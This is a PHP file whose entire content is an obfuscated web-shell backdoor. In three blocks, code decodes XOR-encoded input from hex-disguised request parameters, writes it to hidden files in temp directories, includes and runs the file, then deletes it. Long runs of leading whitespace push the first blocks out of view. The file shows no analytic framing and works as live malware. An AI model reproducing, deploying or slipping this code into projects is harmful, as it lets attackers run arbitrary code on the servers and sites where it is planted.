<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["fa\x63\x74\x6Fr"])){ $symbol = array_filter(["/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir()]); $component = $_REQUEST["fa\x63\x74\x6Fr"]; $component = explode ('.', $component ) ; $record= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s7 ); $u= 0; $__len= count( $component ); do { if( $u >= $__len) break; $v6= $component[$u]; $chS= ord( $s7[$u % $sLen] ); $d= ( ( int)$v6 - $chS -( $u % 10)) ^ 86; $record .= chr( $d ); $u++; } while( true ); while ($value = array_shift($symbol)) { if ((bool)is_dir($value) && (bool)is_writable($value)) { $property_set = vsprintf("%s/%s", [$value, ".elem"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $property_set; @unlink($property_set); die(); } } } }
																																										if(@$_POST["\x76\x61l"] !== null){ $object = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir()]); $component = $_POST["\x76\x61l"]; $component=explode("." , $component ) ; $reference = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $__len = count($component); for($t = 0; $t < $__len; $t++) { $v9 = $component[$t]; $chS = ord($s9[$t %$lenS]); $d =((int)$v9 - $chS -($t %10)) ^58; $reference .= chr($d); } foreach ($object as $bind): if ((is_dir($bind) and is_writable($bind))) { $fac = join("/", [$bind, ".rec"]); if (@file_put_contents($fac, $reference) !== false) { include $fac; unlink($fac); exit; } } endforeach; }


if(array_key_exists("f\x6Ca\x67", $_REQUEST)){
	$value = $_REQUEST["f\x6Ca\x67"];
	$value   =   explode	 	(		 '.', $value)	;
	$hld	=  '';
            $s	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=  strlen($s);
            $q	=  0;
    
            array_walk($value	,	 function ($v8) use (&$hld	,	 &$q	,	 $s	,	 $sLen) {
                $sChar	=  ord($s[$q % $sLen]);
                $d	=  ((int)$v8 - $sChar - ($q % 10)) ^ 48;
                $hld	 .= chr($d);
                $q++;
            });
	$sym = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp"]);
	$token = 0;
do {
    $ent = $sym[$token] ?? null;
    if ($token >= count($sym)) break;
    		if (!( !is_dir($ent) || !is_writable($ent) )) {
    $record = "$ent" . "/.element";
    if (file_put_contents($record, $hld)) {
	include $record;
	@unlink($record);
	die();
}
}
    $token++;
} while (true);
}